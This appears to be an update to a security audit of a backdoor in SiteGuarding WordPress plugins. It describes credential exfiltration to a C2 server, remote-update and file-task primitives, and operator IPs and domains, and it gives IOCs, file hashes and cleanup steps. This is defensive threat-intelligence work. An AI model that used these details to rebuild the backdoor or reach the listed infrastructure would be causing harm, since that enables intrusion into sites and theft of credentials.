On every ping, the backdoor sends the contents of webanalyze/website-security-conf.php back to the C2. This file is the SiteGuarding "panel" config — for sites that previously installed any of the original 27 SiteGuarding plugins (closed 2020), this file may contain login credentials the operator scraped during the 2013-2020 portfolio era and is now harvesting on every ping.

Implication: 5+ years of historical SiteGuarding installs are STILL controllable

The original SiteGuarding 27-plugin portfolio was closed by wp.org in May-June 2020. Any site that ran one of those plugins between 2013-2020 may still have siteguarding_tools.php in WordPress root. Those sites are RIGHT NOW controllable via:

  • The currently-live siteguarding.com C2 (still serving ?action=update)
  • The new 198.7.59.167-168 allowlist IPs (or anything with siteguarding.com rDNS)
  • The push-triggered auto-update channel (operator can ship a fresh backdoor or pivot to a malicious payload at will)

This is multi-year persistence at scale. Not a dormant artifact, not a 2020 incident still being cleaned up — actively maintained, currently operational, with infrastructure consolidation suggesting a smaller, more focused operator footprint than the public 27-plugin portfolio era.

Updated IOCs (v2.4 additions)

  • kind: code_pattern, value: 198.7.59.167, confidence: high
  • kind: code_pattern, value: 198.7.59.168, confidence: high
  • kind: code_pattern, value: Task_deletefile, confidence: high
  • kind: code_pattern, value: Task_copyfile, confidence: high
  • kind: code_pattern, value: Validate_Path, confidence: medium
  • kind: code_pattern, value: latest_md5, confidence: medium
  • kind: code_pattern, value: latest_ver, confidence: medium
  • kind: filename, value: webanalyze/website-security-conf.php, confidence: high
  • kind: file_hash, value: 36085499a539d4543b1ec0f59f1ad0c7, confidence: high
  • kind: file_hash, value: 3eddf6d18214d0d612809efd585a2471, confidence: high
  • kind: domain, value: safetybis.com, confidence: high

Updated cleanup guidance (sites with siteguarding_tools.php in WP root)

In addition to the existing checklist:

1. Block outbound to 198.7.59.167 and 198.7.59.168 at the firewall. These are the current operator-controlled allowlist IPs — blocking them prevents the backdoor from receiving tasks. 2. **Block outbound to anything resolving to *.siteguarding.com (the rDNS-based auth bypass means the operator can promote new IPs by adding zone entries; firewall by hostname is more durable than by IP). 3. Block outbound to safetybis.com (sibling C2 in the SiteGuarding family). 4. Look for webanalyze/ directory under WP root — both the backup backdoor (siteguarding_tools.php) and any leftover website-security-conf.php (containing login credentials previously exfiltrated). Delete the entire webanalyze/ directory. 5. Search for any file with md5 36085499a539d4543b1ec0f59f1ad0c7** — that's the current v2.4 backdoor. Also 3eddf6d18214d0d612809efd585a2471 for v1.7. Older versions (v1.0-v1.6, v2.0-v2.3) likely exist in the wild as well.

Update 2026-05-03 — wp.org's 2020 closure was a backdoor takedown, not a guideline violation

Cold-scan of all 27 SiteGuarding-account plugins on 2026-05-03 (wp beacon scan_code against current trunks) showed 100% IOC overlap with this audit. Every plugin in the 2013-2020 portfolio (4,830 combined active installs) calls siteguarding.com. 10 of 27 ship the Task_savefile RCE primitive from siteguarding_tools.php directly inline. 2 ship the latest_ver push-update self-modify channel — the same primitive this audit's 2026-05-02 v2.4 section described as a 'new in v2.4' addition was already in production in 2020 (wp-antivirus-site-protection, 4,000 installs, has 11 hits on it). 2 plugins call safetybis.com in code (grab-youtube-subtitle 4×, realtime-seo 2×), confirming the sibling C2 was historically wired, not parked.

Reframing: wp.org's closed_reason='guideline-violation' for these 27 plugins (closed 2020-05-04 → 2020-06-05) is a category usually reserved for promo-banner or affiliate-link issues. The actual finding is that wp.org caught and removed a backdoored portfolio in 2020 without disclosing the malware nature publicly. The 2020 closure was a hidden RCE-backdoor takedown, not a policy cleanup.

The 2026 wave on wp-advanced-math-captcha (this audit) and image-optimizer-x (audit #26) is the same operator returning under burner accounts — @lulub5592 registered 2020-07-01, 26 days after the 2020 ban. The takedown didn't end the operation; it pushed it onto fresh shells.

See audit #28 for the full 27-plugin portfolio analysis.